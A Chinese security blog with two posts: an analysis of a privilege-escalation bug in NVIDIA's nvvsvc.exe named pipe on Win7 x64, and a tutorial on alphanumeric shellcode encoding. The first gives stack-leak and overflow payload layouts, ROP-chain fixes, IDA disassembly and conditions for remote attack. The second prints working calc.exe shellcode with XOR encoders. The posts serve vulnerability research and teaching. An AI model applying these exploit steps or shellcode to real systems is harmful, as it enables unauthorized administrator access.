2013-01-09

NVidia本地&远程提权漏洞分析

漏洞背景

圣诞节,一个网名“Winter-Smith”(冬日史密斯)的黑客公布了NVIDIA显卡驱动中存在的一个严重安全漏洞,可以轻松获取系统权限。这位老兄还很厚道地在网上公开了漏洞的完整细节,有经验的黑客完全可以拿过来就利用,搞的NVIDIA的某些员工这个圣诞和新年是没法清净。

NVIDIA Driver Helper Service,是一个r3层的服务,程序是nvvsvc.exe(win7)或nvvsvc32.exe(xp),这个程序启动后会创建一个命名管道\pipe\nvsr,比较特别的是这个管道的dacl是空,也就是说everyone都可以访问,xpx32版下0x52命令也不支持,同时老版本的xp版nvsvc32.exe根本没建命名管道。这个漏洞利用只针对win7x64版有效,在win7x32版上只能够做到infoleak。

调试环境

系统环境 Win7sp1 x64 windbg IDA
驱动程序提供商 NVIDIA GT520M
驱动程序版本 8.17.12.9555
服务名称 NVIDIA Display Driver Service
服务进程 nvvsvc.exe
需要说明的是,在windows xp下产生服务的程序是nvsvc32.exe,windows 7下产生服务的是nvvsvc.exe。

漏洞分析

刚开始从网上找到源码,先在我的win7x32下编译运行,程序到第二步直接就挂掉了,提示:!! Unable to create named pipe。然后将程序编译成64位,在虚拟机里win7x64下运行,依然得到相同的结果。

开始看博客原文,大概了解以后知道是测试环境没有对,需要Nvidia的gt540m显卡和win7x64。而且在虚拟机里无法进行测试,因为需要nvvsvc.exe后台服务运行,虚拟机不支持。这就为测试环境提出了非常苛刻的条件。原文博客上记载如果测试成功,会增加一个r00t的管理员,测试窗口显示如下:

 C:\Users\Peter\Desktop\NVDelMe1>nvvsvc_expl.exe 127.0.0.1
 ** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **
 [@peterwintrsmith]
 - Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -
 Action 1 of 9:  - CONNECT
 Action 2 of 9:  - CLIENT => SERVER
 Written 16416 (0x4020) characters to pipe
 Action 3 of 9:   - SERVER => CLIENT
 Read 16504 (0x4078) characters from pipe
 Action 4 of 9: Building exploit ...
 => Stack cookie 0xe2e2893340d4:
 => nvvsvc.exe base 0x13fb90000:
 Action 5 of 9:  - CLIENT => SERVER
 Written 16416 (0x4020) characters to pipe
 Action 6 of 9:   - SERVER => CLIENT
 Read 16384 (0x4000) characters from pipe
 Action 7 of 9:  - CLIENT => SERVER
 Written 16416 (0x4020) characters to pipe
 Action 8 of 9:   - SERVER => CLIENT
 Read 16896 (0x4200) characters from pipe
 Action 9 of 9:  - DISCONNECT

找到gt540m + win7x64这个环境以后测试只能走到第八步,错误提示:

!! Error reading from pipe (at least, no data on pipe)

然后我在自己的电脑上gt520m + win7x64测试也是得到相同的结果,挂到第八步,这样的话就需要去分析源码了。

源码的大概流程是先查找目标机是否存在一个名字为nvsr的管道,如果存在与其进行连接,通过往管道里写入数据从得到的返回数据里得到目标机泄漏出来的cookie和nvvsvc.exe基址,然后通过构造ROP链突破DEP执行shellcode,增加管理员r00t也就是shellcode完成的工作。Shellcode的执行是在nvvsvc进程中执行的,而nvvsvc.exe驱动服务具有管理员权限,因此就完成了提权的过程。

通过对源码的分析,回过头看,挂在第二步肯定就是没找到nvsr管道。本机存在管道的查看可以通过pipelist工具进行查看。挂在第八步就需要对源码进行调试分析,看到底是哪里出错了。通过与测试成功窗口进行对比,挂在第八步的时候,我们看到第四步,并没有显示=> nvvsvc.exe base 0x13fb90000:这条提示符,也就是说并没有找对nvvsvc.exe基址。

在第四步代码之前下断点,经过多次调试以后,发现不同的Nvidia驱动版本对应的匹配字节是不相同的。比如在我的gt520m 驱动版本:8.17.12.9555上边测试就应该是0xb41,这样匹配以后才能算出正确的nvvsvc.exe基址。后边在经过测试验证,在相同的显卡,不同的驱动版本下匹配字节也是不相同的,这就是为什么我们找到了gt540m+win7x64的环境依然不能得到正确的结果。再后来又经过测试,在不同的显卡,相同的驱动版本下匹配字节相同,也就是可以做到通用。在整个调试过程中,不能在虚拟机调试,而且只要调试过一次,nvvsvc.exe后台驱动服务就会挂掉,需要重新启动系统才可以恢复,是一个相当麻烦的过程。

问题找到后,接下来就是构造ROP链的问题了,因为基址不同,ROP链也需要自己重新构造。在构造ROP链过程中,遇到了两个问题,首先是virtualprotect函数参数的使用,源码中给了第二个参数dwSize赋值的是0x1,源码中说明是整个一页,但是实际测试中并不能够成功,最后将其改成0x300成功。第二个问题也是想了很久,也是一个很有意思的问题,在构造ROP链的最后一步jmp rsp,这条指令地址为基址+0xb7153,在调试时候始终跳不过去执行shellcode,最后找到的原因是因为这个偏移太大了,已经不在代码段了,因此是不可执行的指令,最后换上call rsp成功实现跳转执行shellcode。

漏洞利用

攻击者先查找是否能够找到命名管道\pipe\nvsr,如果找到就与其建立通信,分三次往管道中写入数据,第一次泄漏出模块基址用于构造ROP链,第二次将带有ROP链和shellcode的数据写入管道,第三次重新布局数据最后执行shellcode.由于nvvsvc服务具有管理员权限,因此就实现了提权过程。

泄漏出模块基址构造ROP链

第一次写入数据BuildMalicious_LeakStack()总共0x4020字节

 Base + 0x0000     52 00
 Base + 0x0002     41 00 41 00 41 00 41 00....
 Base + 0x4002     00 00
 Base + 0x4004     00 00 00 00
 Base + 0x4008     78 40 00 00
 Base + 0x400c     41 41 41 41
 Base + 0x4010     41 41 41 41
 Base + 0x4014     41 41 41 41
 Base + 0x4018     41 41 41 41
 Base + 0x401c     41 41 41 41

读出数据 0x4200(即nvvsvc服务写入管道数据0x4078)

 rgReadBuf+0x0000      41 41 41 41
 rgReadBuf+0x0004      41 41 41 41
 rgReadBuf+0x0008      41 41 41 41
 rgReadBuf+0x000c      41 41 41 41
 rgReadBuf+0x0010      41 41 41 41
 rgReadBuf+0x0010      00 00 00 00
 ...
 rgReadBuf+0x4034      2e 5d 29 39 44 f5 00 00
 rgReadBuf+0x403c      41 3b 7f 3f 01 00 00 00
 ...

ROP链和shellcode的数据写入管道

nvvsvc服务写入管道数据的方法:
首先会先取管道中数据(即攻击者CLIENT写入管道的数据)头两个字节作为操作判断符号,本漏洞利用的就是0x52操作,操作方式为读写数据。然后判断第三个字节是否为0x00,如果不为0x00,循环判断,最多循环0x2000次,判断结束后,将其后边数据偏移四个字节作为写入管道的数据长度,如上边的0x4078.然后将长度后边的数据作为写入管道的数据,如上边的0x41414141。也就是说最后nvvsvc服务先将Base + 0x400c处开始的长度为0x4078个数据复制到Base + 0x4020处,最后再将这些数据写入管道中。在调用复制数据函数的时候没有做任何有关长度的检测,导致将base+0x400c+0x4034的cookie和base+0x400c+0x403c处的模块基址(需要减去一个偏移)泄漏出来并写入管道,最后攻击者CLIENT读出这些数据加以利用。

base+0x400c+0x403c处的模块基址需要做一些处理才能使用,比如上边读到的是0x013f7f3b41,先将这个值&0xfff得到后三位0xb41,这个值对应着每个NviDia的驱动版本,不同版本的驱动程序释放出来的nvvsvc.exe模块代码稍有不同,因此构造ROP链也会有差异。最后将0x013f7f3b41减去后四位0x3b41就得到了nvvsvc.exe模块基址。

第二次 写入数据BuildMalicious_FillBuf() 总共0x4020

 Base + 0x0000     52 00
 Base + 0x0002     00 00
 Base + 0x0004     00 00 00 00
 Base + 0x0008     00 40 00 00
 Base + 0x000c     43 43 43 43...
 Base + 0x0018     2e 5d 29 39 44 f5 00 00 cookie
 Base + 0x0020     43 43 43 43....
 Base + 0x0040     ROP链...
 Base + 0x0158     shellcode...
 ...
 其他0x43覆盖

读出数据 0x4000(即nvvsvc服务写入管道数据0x4000)

 rgReadBuf+0x0000      43 43 43 43...
 ...
 rgReadBuf+0x0044      ROP链...
 rgReadBuf+0x014c      shellcode...
 ...
 其他0x43覆盖

第三次 写入数据BuildMalicious_OverwriteStack() 总共0x4020

 Base + 0x0000     52 00
 Base + 0x0002     00 00
 Base + 0x0004     00 00 00 00
 Base + 0x0008     40 43 00 00
 Base + 0x000c     42 42 42 42...
 ...

经过管道处理复制(0x4340个字节)以后,在nvvsvc模块缓冲区中

 Base + 0x0000     52 00
 Base + 0x0002     00 00
 Base + 0x0004     00 00 00 00
 Base + 0x0008     40 43 00 00
 Base + 0x000c     42 42 42 42...
 ...
 Base+0x401c       42 42 42 42
 Base+0x4020       42 42 42 42
 ...
 Base+0x8034       43 43 43 43
 ...
 Base+0x8064       rop链...
 Base+0x8078       shellcode...
 ...

通过控制复制的字节长度,最后一步恢复堆栈时候 lea r11,[rsp+82B0h]将跳到我们控制的地方。
读出数据 0x4200(nvvsvc服务写入管道数据0x4340)

 rgReadBuf+0x0000      42 42 42 42...
 ...
 rgReadBuf+0x4014      43 43 43 43
 ...
 rgReadBuf+0x4044      rop链...
 rgReadBuf+0x414c      shellcode...
 ...

IDA关键代码:

 .text:0000000000003B18         mov     rax, rsp
 .text:0000000000003B1B         mov     [rax+10h], rbx
 .text:0000000000003B1F         mov     [rax+18h], rsi
 .text:0000000000003B23         mov     [rax+20h], rdi
 .text:0000000000003B27         push    rbp
 .text:0000000000003B28         push    r12
 .text:0000000000003B2A         push    r13
 .text:0000000000003B2C         push    r14
 .text:0000000000003B2E           push    r15
 .text:0000000000003B30         lea     rbp, [rax-81D8h]
 .text:0000000000003B37         mov     eax, 82B0h
 .text:0000000000003B3C         call    sub_49880
 .text:0000000000003B41         sub     rsp, rax
 .text:0000000000003B44         mov     rax, cs:qword_C5148
 .text:0000000000003B4B         xor     rax, rsp
 .text:0000000000003B4E         mov     [rbp+81A0h], rax
 .text:0000000000003B55         xor     r14d, r14d
 .text:0000000000003B58         lea     r9, [rsp+28h+NumberOfBytesRead] ; lpNumberOfBytesRead
 .text:0000000000003B5D         lea     rdx, [rbp+160h] ; lpBuffer
 .text:0000000000003B64         mov     r8d, 4020h      ; nNumberOfBytesToRead
 .text:0000000000003B6A         mov     rsi, rcx
 .text:0000000000003B6D         mov     [rsp+28h+NumberOfBytesRead], r14d
 .text:0000000000003B72         mov     [rsp+28h+NumberOfBytesWritten], r14d
 .text:0000000000003B77         mov     [rsp+28h+nNumberOfBytesToWrite], r14d
 .text:0000000000003B7C         mov     [rsp+28h+var_8], r14
 .text:0000000000003B81         call    cs:ReadFile
 ; nvvsvc服务从管道固定读入4020个字节数据到缓冲区
 .text:0000000000003B87         test    eax, eax
 .text:0000000000003B89         jz      loc_406F
 .text:0000000000003B8F         mov     ebx, 2000h
 .text:0000000000003B94         lea     edi, [r14+52h]  ; edi=52h
 .text:0000000000003B98         lea     r15d, [r14+12h] ; r15=12h
 .text:0000000000003B9C
 .text:0000000000003B9C loc_3B9C:                ; CODE XREF: sub_3B18+551j
 .text:0000000000003B9C         cmp     [rsp+28h+NumberOfBytesRead], r14d ; [rsp+28h+NumberOfBytesRead]=4020h,r14d=0
 .text:0000000000003BA1         jz      loc_406F
 .text:0000000000003BA7         movzx   ecx, word ptr [rbp+160h]
 ;将读入的数据头两个字节放入ecx中,ecx=0052,根据头两字节来判断操作,根据后边调试分析,0x52为管道读写操作,读写方法上边已经介绍。
 .text:0000000000003BAE         sub     ecx, 23h     ; ecx=2f
 .text:0000000000003BB1         jz      loc_3F70
 .text:0000000000003BB7         sub     ecx, 20h     ; ecx=f
 .text:0000000000003BBA            jz      loc_3E9C
 .text:0000000000003BC0         dec     ecx
 .text:0000000000003BC2         jz      loc_3E41
 .text:0000000000003BC8         sub     ecx, 3
 .text:0000000000003BCB         jz      loc_3DBB
 .text:0000000000003BD1         sub     ecx, 5
 .text:0000000000003BD4         jz      loc_3D35
 .text:0000000000003BDA         sub     ecx, 6
 .text:0000000000003BDD         jz      loc_3CB2     ; 跳转
 .text:0000000000003BE3         cmp     ecx, 5
 .text:0000000000003BE6         jz      short loc_3BFA
 .text:0000000000003BE8         mov     r8d, 1Ch
 .text:0000000000003BEE         lea     rdx, aUnknownToken ; "Unknown token"
 .text:0000000000003BF5         jmp     loc_3F5F
 ......
 text:0000000000003CB2 loc_3CB2:                ; CODE XREF: sub_3B18+C5j
 .text:0000000000003CB2         lea     rcx, [rbp+162h]
 .text:0000000000003CB9         mov     rdx, rbx
 .text:0000000000003CBC            mov     [rsp+28h+arg_4], 3
 .text:0000000000003CC4         call    sub_462E0
 ; 该函数的功能是循环判断rax次(rax最大2000h),以0作为判断终止符,然后将rax返回,下边将根据rax来复制将要写入管道的数据。
 .text:0000000000003CC9         cmp     cs:dword_D0990, r14d
 .text:0000000000003CD0         lea     r9, [rsp+28h+arg_8]
 .text:0000000000003CD5         mov     ecx, [rbp+rax*2+164h]
 ; ecx=0  [rbp+rax*2+164h]=000000007840000041414141...
 .text:0000000000003CDC         lea     rdi, [rbp+rax*2+16Ch]
 ; [rbp+rax*2+16Ch]=4141414141...
 .text:0000000000003CE4         lea     rdx, [rsp+28h+arg_4]
 .text:0000000000003CE9         mov     [rsp+28h+arg_4], ecx
 .text:0000000000003CED         mov     ecx, [rbp+rax*2+168h] ; rcx=4078
 .text:0000000000003CF4         mov     r8, rdi      ; [r8]=41414141...
 .text:0000000000003CF7         mov     [rsp+28h+arg_8], ecx
 .text:0000000000003CFB         lea     rcx, [rbp+162h]
 .text:0000000000003D02         jle     short loc_3D0B
 .text:0000000000003D04         call    sub_2C84
 .text:0000000000003D09         jmp     short loc_3D10
 .text:0000000000003D0B ; ---------------------------------------------------------------------------

 .text:0000000000003D0B
 .text:0000000000003D0B loc_3D0B:                ; CODE XREF: sub_3B18+1EAj
 .text:0000000000003D0B         call    sub_2A00
 .text:0000000000003D10 ; ---------------------------------------------------------------------------

 .text:0000000000003D10
 .text:0000000000003D10 loc_3D10:                ; CODE XREF: sub_3B18+1F1j
 .text:0000000000003D10         movsxd  rbx, [rsp+28h+arg_8]
 .text:0000000000003D15         lea     rcx, [rbp+4180h]
 .text:0000000000003D1C            mov     rdx, rdi
 .text:0000000000003D1F         mov     r8, rbx
 .text:0000000000003D22         call    sub_45980
 ; bug!!!复制数据函数  该函数的功能就是复制将要写入管道的数据,没有做任何检测,最后返回存放该数据缓冲区指针rax。该数据将发送回攻击者,长度为4078导致内存泄漏
 .text:0000000000003D27         mov     [rsp+28h+nNumberOfBytesToWrite], ebx
 .text:0000000000003D2B
 .text:0000000000003D2B loc_3D2B:                ; CODE XREF: sub_3B18+156j
 .text:0000000000003D2B                     ; sub_3B18+198j
 .text:0000000000003D2B         mov     edi, 52h
 .text:0000000000003D30         jmp     loc_4017
 ......

 .text:0000000000004017 loc_4017:               ; CODE XREF: sub_3B18+218j
 .text:0000000000004017                       ; sub_3B18+435j ...
 .text:0000000000004017         mov     ebx, [rsp+28h+nNumberOfBytesToWrite] ; ebx=4078
 .text:000000000000401B         lea     r9, [rsp+28h+NumberOfBytesWritten] ; lpNumberOfBytesWritten  [lp]=4078
 .text:0000000000004020         lea     rdx, [rbp+4180h] ; lpBuffer
 .text:0000000000004027         mov     rcx, rsi     ; hFile
 .text:000000000000402A         mov     r8d, ebx     ; nNumberOfBytesToWrite  4078个字节  每次写入没有限制也没有任何检测
 .text:000000000000402D         mov     [rsp+28h+var_8], r14
 .text:0000000000004032         call    cs:WriteFile    ; 将4078个字节的数据写入管道中,导致内存泄漏
 .text:0000000000004038         test    eax, eax     ; 判断是否调用成功
 .text:000000000000403A         jz      short loc_406F
 .text:000000000000403C         cmp     ebx, [rsp+28h+NumberOfBytesWritten] ; 判断是否写入的是4078个字节
 .text:0000000000004040         jnz     short loc_406F
 .text:0000000000004042         lea     r9, [rsp+28h+NumberOfBytesRead] ; lpnNumberOfBytesToRead ---step 5  [lp]=4020h
 .text:0000000000004047         lea     rdx, [rbp+160h] ; lpBuffer
 .text:000000000000404E         mov     r8d, 4020h      ; nNumberOfBytesToRead  4020h 每次固定读入4020h个字节
 .text:0000000000004054         mov     rcx, rsi     ; hFile
 .text:0000000000004057         mov     [rsp+28h+var_8], r14
 .text:000000000000405C         call    cs:ReadFile     ;将攻击者CLIENT发送的数据从管道读入缓冲区
 .text:0000000000004062         mov     ebx, 2000h
 .text:0000000000004067         test    eax, eax
 .text:0000000000004069         jnz     loc_3B9C        ; 如果读到数据则跳回前边做循环处理

攻击者发送完三次数据,nvvsvc服务最后一次从管道中读取数据失败,然后去执行关闭管道句柄过程,如下:

 .text:000000000000406F
 .text:000000000000406F loc_406F:                ; CODE XREF: sub_3B18+71j
 .text:000000000000406F                     ; sub_3B18+89j ...
 .text:000000000000406F         mov     rcx, rsi     ; hFile
 .text:0000000000004072         call    cs:FlushFileBuffers
 .text:0000000000004078         mov     rcx, rsi     ; hNamedPipe
 .text:000000000000407B         call    cs:DisconnectNamedPipe
 .text:0000000000004081         mov     rcx, rsi     ; hObject
 .text:0000000000004084         call    cs:CloseHandle
 .text:000000000000408A         lock dec cs:dword_D091C
 .text:0000000000004091         mov     eax, 1
 .text:0000000000004096         mov     rcx, [rbp+81A0h]
 .text:000000000000409D            xor     rcx, rsp
 .text:00000000000040A0         call    sub_455A0
 .text:00000000000040A5         lea     r11, [rsp+28h+arg_8280]
 ;恢复堆栈指针rsp, lea r11,[rsp+82b0],通过最后一步写入数据的精心布局,rsp最终将指向攻击者精心构造的数据。
 .text:00000000000040AD            mov     rbx, [r11+38h]
 .text:00000000000040B1         mov     rsi, [r11+40h]
 .text:00000000000040B5         mov     rdi, [r11+48h]
 .text:00000000000040B9         mov     rsp, r11     ; 得到rsp的控制权,此时堆栈数据如下:

 00000000`01b7fb00 43 43 43 43 43 43 43 43  CCCCCCCC
 00000000`01b7fb08 43 43 43 43 43 43 43 43  CCCCCCCC
 00000000`01b7fb10 43 43 43 43 43 43 43 43  CCCCCCCC
 00000000`01b7fb18 43 43 43 43 43 43 43 43  CCCCCCCC
 00000000`01b7fb20 43 43 43 43 43 43 43 43  CCCCCCCC
 00000000`01b7fb28 6e 5f 31 3f 01 00 00 00  n_1?....   //rop链
 00000000`01b7fb30 9c 4f 35 3f 01 00 00 00  .O5?....
 00000000`01b7fb38 00 00 00 00 00 00 00 00  ........

 .text:00000000000040BC         pop     r15
 .text:00000000000040BE         pop     r14
 .text:00000000000040C0         pop     r13
 .text:00000000000040C2         pop     r12
 .text:00000000000040C4         pop     rbp
 .text:00000000000040C5         retn
 ;  经过五次pop过后rsp指向ROP链第一条语句,retn之后开始执行ROP链,最后成功跳进shellcode.
 .text:00000000000040C5 sub_3B18     endp
 .text:00000000000040C5

远程利用条件

  • 本机(作为攻击的计算机)必须有账户名和密码,并且密码不能为空,目标机器密码可为空。
  • 本机与被攻击计算机必须在同一网段
  • 关闭防火墙
  • 被攻击的目标计算机必须关闭密码保护共享(本机可不关闭),如下图所示:
  • 如果攻击目标机器为Win2008 R2 x64系统,则本机(作为攻击计算机)的用户名中不能与目标机器具有相同的用户名。比如本机用户为test,而目标机器(Win2008中)的账户中也有个名为test的账户,则攻击不成功。对于攻击系统为Win7 x64的计算机则没有要求。

Win7 x64和Win2008 R2 x64均测试成功!

总结

经过多次试验,关键的地方就是c:\windows\system32\nvvsvc.exe这个程序,可以将这个程序拷贝到其他计算机中相同的目录下,不论是否装有N卡驱动,然后重启查看进程,确定该驱动服务后台加载了,就可以得到相同的测试结果。也就是说nvvsvc.exe这个驱动服务在启动的时候创建了一个名字为nvsr的管道,这个管道的dacl是空,也就是说everyone都可以访问。这就是该漏洞利用是否成功的关键。

这个漏洞要做到通用,还需要收集各种显卡的驱动程序,其实也仅仅需要收集c:\windows\system32\nvvsvc.exe这个程序,而且实际构造测试发现,有些相近版本的驱动(比如gt520m的8.17.12.8590和gt630m的8.17.12.8580)也是可以通用的。目前已经收集到10个,相应的ROP链也已经构造完成,并测试能够正确执行。

最后关于这个漏洞的分析,刚开始一直对这个nvvsvc.exe下断点断下来,后来原因也找到了,在进程中显示所有用户进程会发现两个nvvsvc.exe服务进程,一个可以断到,一个断不到,所以两个都需要下断点才可以。调试发现给最先加载的那个服务进程下断点就可以了。对于这个漏洞还有需要研究的地方,比如除了0x52操作,其他几个操作完成了什么样的功能,是否有可利用之处,需要有时间再跟踪调试一下。

参考

NVIDIA Driver Helper Service栈溢出简单说明
Nvvsvc32.exe 溢出简要分析

2012-12-18

纯字母数字shellcode编码

纯字母数字shellcode编码分析与实现

编写环境:

Win7 32,vs2008

背景介绍:

1.黑防2007年第二期中介绍了纯字母数字的Shellcode的编写,在3期中的WinRAR 7z溢出中就派上了用场。Unicode大家应该不陌生,在一些大型程序中,比如Word、Excel考虑到不同语言平台的差异性,都会使用 Unicode,在利用这些漏洞的时候,我们以往的Shellcode就难以适用了。一个普通的Down&Exec的Shellcode经过 MultiByteToWideChar函数转换成Unicode后就会乱码。

2.可能有人认为只要先将Shellcode写好,然后用WideCharToMultiByte函数转换成ASCII码,再经过程序转换成 Unicode就可以了,但事实不是这样的,在转换成Unicode的时候,转换函数会根据当前使用的代码页进行转换,比如大写字母'A'(\x41)被转换成\x41\x00,但是第一个字节>0x80或者第二个字节不是\x00的时候,情况就不是这么简单了, MultiByteToWideChar会查找代码页中的对应结果,假如找不到就会有\x3F(?)代替,表示有错误。

3.WideCharToMultiByte使Exploit编写难度加大了,因为不得不使用纯字符的Shellcode,这样经过AscII->Unicode->Ascii转换后的Shellcode依然能正确运行

4.关于纯字母数字的Shellcode,大致的思想就是将shellcode分成解码头+主体两部分,解码头是以纯字符的指令组成的,主体以某种算法拆分成两个字节。解码头取得控制权以后还原Shellcode并执行。

实现方法

未经过编码的shellcode

1.先找到一份Win7下通用的shellcode,因为里边含有0x00,在后边调用宽窄字符转换函数时候会截断,所以先进行一次简单的异或操作,Key=0X97,代码如下:

#include <string.h>
#include <stdio.h>
#define KEY 0x97
char shellcode[219] = {
    0xE9, 0x96, 0x00, 0x00, 0x00, 0x56, 0x31, 0xC9, 0x64, 0x8B, 0x71, 0x30, 0x8B, 0x76, 0x0C, 0x8B,
    0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x66, 0x39, 0x4F, 0x18, 0x75, 0xF2,
    0x5E, 0xC3, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45, 0x3C, 0x8B, 0x54, 0x05, 0x78, 0x01, 0xEA,
    0x8B, 0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x01, 0xEB, 0xE3, 0x37, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE,
    0x31, 0xFF, 0x31, 0xC0, 0xFC, 0xAC, 0x84, 0xC0, 0x74, 0x0A, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE9,
    0xF1, 0xFF, 0xFF, 0xFF, 0x3B, 0x7C, 0x24, 0x28, 0x75, 0xDE, 0x8B, 0x5A, 0x24, 0x01, 0xEB, 0x66,
    0x8B, 0x0C, 0x4B, 0x8B, 0x5A, 0x1C, 0x01
    , 0xEB, 0x8B, 0x04, 0x8B, 0x01, 0xE8, 0x89, 0x44, 0x24,
    0x1C, 0x61, 0xC3, 0xAD, 0x50, 0x52, 0xE8, 0xA7, 0xFF, 0xFF, 0xFF, 0x89, 0x07, 0x81, 0xC4, 0x08,
    0x00, 0x00, 0x00, 0x81, 0xC7, 0x04, 0x00, 0x00, 0x00, 0x39, 0xCE, 0x75, 0xE6, 0xC3, 0xE8, 0x19,
    0x00, 0x00, 0x00, 0x98, 0xFE, 0x8A, 0x0E, 0x7E, 0xD8, 0xE2, 0x73, 0x81, 0xEC, 0x08, 0x00, 0x00,
    0x00, 0x89, 0xE5, 0xE8, 0x5D, 0xFF, 0xFF, 0xFF, 0x89, 0xC2, 0xEB, 0xE2, 0x5E, 0x8D, 0x7D, 0x04,
    0x89, 0xF1, 0x81, 0xC1, 0x08, 0x00, 0x00, 0x00, 0xE8, 0xB6, 0xFF, 0xFF, 0xFF, 0xEB, 0x0E, 0x5B,
    0x31, 0xC0, 0x50, 0x53, 0xFF, 0x55, 0x04, 0x31, 0xC0, 0x50, 0xFF, 0x55, 0x08, 0xE8, 0xED, 0xFF,
    0xFF, 0xFF, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
    };//含有\x00的ShellCode
int main()
{
    int i;
    int nLen;
    unsigned char enshellcode[500]; //编码后的enShellCode
    nLen = sizeof(shellcode)-1; //获得ShellCode的长度
    for(i=0; i<nLen; i++)
    {
        enshellcode[i] = shellcode[i] ^ KEY; //对每一位ShellCode作xor key编码KEY=0x97
        //printf("\\x%x-",shellcode[i]); 
        printf("\\x%x",enshellcode[i]); //打印出效果
    }
}
/*
xor97后enshellcode:
"\x7e\x1\x97\x97\x97\xc1\xa6\x5e\xf3\x1c\xe6\xa7\x1c\xe1\x9b\x1c\xe1\x8b\x1c\xd1"
"\x9f\x1c\xe9\xb7\x1c\xa1\xf1\xae\xd8\x8f\xe2\x65\xc9\x54\xf7\x1c\xfb\xb3\xb3\x1c"
"\xd2\xab\x1c\xc3\x92\xef\x96\x7d\x1c\xdd\x8f\x1c\xcd\xb7\x96\x7c\x74\xa0\xde\x1c"
"\xa3\x1c\x96\x79\xa6\x68\xa6\x57\x6b\x3b\x13\x57\xe3\x9d\x56\x58\x9a\x96\x50\x7e"
"\x66\x68\x68\x68\xac\xeb\xb3\xbf\xe2\x49\x1c\xcd\xb3\x96\x7c\xf1\x1c\x9b\xdc\x1c"
"\xcd\x8b\x96\x7c\x1c\x93\x1c\x96\x7f\x1e\xd3\xb3\x8b\xf6\x54\x3a\xc7\xc5\x7f\x30"
"\x68\x68\x68\x1e\x90\x16\x53\x9f\x97\x97\x97\x16\x50\x93\x97\x97\x97\xae\x59\xe2"
"\x71\x54\x7f\x8e\x97\x97\x97\xf\x69\x1d\x99\xe9\x4f\x75\xe4\x16\x7b\x9f\x97\x97"
"\x97\x1e\x72\x7f\xca\x68\x68\x68\x1e\x55\x7c\x75\xc9\x1a\xea\x93\x1e\x66\x16\x56"
"\x9f\x97\x97\x97\x7f\x21\x68\x68\x68\x7c\x99\xcc\xa6\x57\xc7\xc4\x68\xc2\x93\xa6"
"\x57\xc7\x68\xc2\x9f\x7f\x7a\x68\x68\x68\xf4\xf6\xfb\xf4\xb9\xf2\xef\xf2"
*/

2.然后我们将异或0x97后的enshellcode经过两次转换,最后再异或0x97,如果shellcode不变形,能够成功执行shellcode弹出计算器,源码如下:

#include<stdio.h>
#include <iostream>
#include<windows.h>
#define KEY 0x97
//定义ANSIC字符串编码过的shellcode KEY=0x97
char shellcode[] ="\x7e\x1\x97\x97\x97\xc1\xa6\x5e\xf3\x1c\xe6\xa7\x1c\xe1\x9b\x1c\xe1\x8b\x1c\xd1"
"\x9f\x1c\xe9\xb7\x1c\xa1\xf1\xae\xd8\x8f\xe2\x65\xc9\x54\xf7\x1c\xfb\xb3\xb3\x1c"
"\xd2\xab\x1c\xc3\x92\xef\x96\x7d\x1c\xdd\x8f\x1c\xcd\xb7\x96\x7c\x74\xa0\xde\x1c"
"\xa3\x1c\x96\x79\xa6\x68\xa6\x57\x6b\x3b\x13\x57\xe3\x9d\x56\x58\x9a\x96\x50\x7e"
"\x66\x68\x68\x68\xac\xeb\xb3\xbf\xe2\x49\x1c\xcd\xb3\x96\x7c\xf1\x1c\x9b\xdc\x1c"
"\xcd\x8b\x96\x7c\x1c\x93\x1c\x96\x7f\x1e\xd3\xb3\x8b\xf6\x54\x3a\xc7\xc5\x7f\x30"
"\x68\x68\x68\x1e\x90\x16\x53\x9f\x97\x97\x97\x16\x50\x93\x97\x97\x97\xae\x59\xe2"
"\x71\x54\x7f\x8e\x97\x97\x97\xf\x69\x1d\x99\xe9\x4f\x75\xe4\x16\x7b\x9f\x97\x97"
"\x97\x1e\x72\x7f\xca\x68\x68\x68\x1e\x55\x7c\x75\xc9\x1a\xea\x93\x1e\x66\x16\x56"
"\x9f\x97\x97\x97\x7f\x21\x68\x68\x68\x7c\x99\xcc\xa6\x57\xc7\xc4\x68\xc2\x93\xa6"
"\x57\xc7\x68\xc2\x9f\x7f\x7a\x68\x68\x68\xf4\xf6\xfb\xf4\xb9\xf2\xef\xf2";
//using namespace std;
int main()
{
    std::cout<<shellcode<<std::endl;
/*
    //ANSIC转到宽字符
    int Length = MultiByteToWideChar(CP_ACP,0,shellcode,-1,NULL,0);
    wchar_t *pWideCharStr = new wchar_t[sizeof(wchar_t)*Length];
    MultiByteToWideChar(CP_ACP,0,shellcode,-1,pWideCharStr,Length*sizeof(wchar_t));
    std::wcout<<"MultiByteToWideChar:"<<pWideCharStr<<std::endl;
*/

    int Length = MultiByteToWideChar (
        CP_ACP,   //当前系统ANSI代码页,将宽字符转换为ANSI
        0,      //指定如何处理没有转换的字符
        shellcode,  //待转换字符串地址
        -1,     
        NULL,   //
        0);
    wchar_t *pWideCharStr;
    pWideCharStr = new wchar_t[sizeof(wchar_t)*Length];
    if(!pWideCharStr)
    {
        delete []pWideCharStr;
    }
    MultiByteToWideChar (CP_ACP, 0, shellcode, -1, pWideCharStr, sizeof(wchar_t)*Length);
    //delete []psText;
    printf("MultiByteToWideChar:\n");
    for (int i = 0; i < Length; i++)
    {
        printf("%x ",pWideCharStr[i]);
    }
    printf("\n");
    //宽字符转换到ANSIC
    Length = WideCharToMultiByte(CP_ACP,0,pWideCharStr,-1,NULL,0,NULL,NULL);
    char *pMultiByte = new char[Length*sizeof(char)] ;
    WideCharToMultiByte(CP_ACP,0,pWideCharStr,-1,pMultiByte,Length*sizeof(char),NULL,NULL);
    std::cout<<"WideCharToMultiByte:"<<std::endl<<pMultiByte<<std::endl;
    //delete [] pWideCharStr;
    delete [] pMultiByte;
    //解码KEY= 0x97
    int i;
    int nLen;
    nLen = Length; //获得enShellCode的长度
    unsigned char deshellcode[500]; //解码后的deShellCode
    printf("deshellcode:\n");
    for(i=0; i<nLen; i++)
    {
        deshellcode[i] = pWideCharStr[i] ^ KEY; //对每一位enShellCode作xor key编码KEY=0x97
        //printf("\\x%x-",shellcode[i]); 
        printf("\\x%x",deshellcode[i]); //打印出效果
    }
}

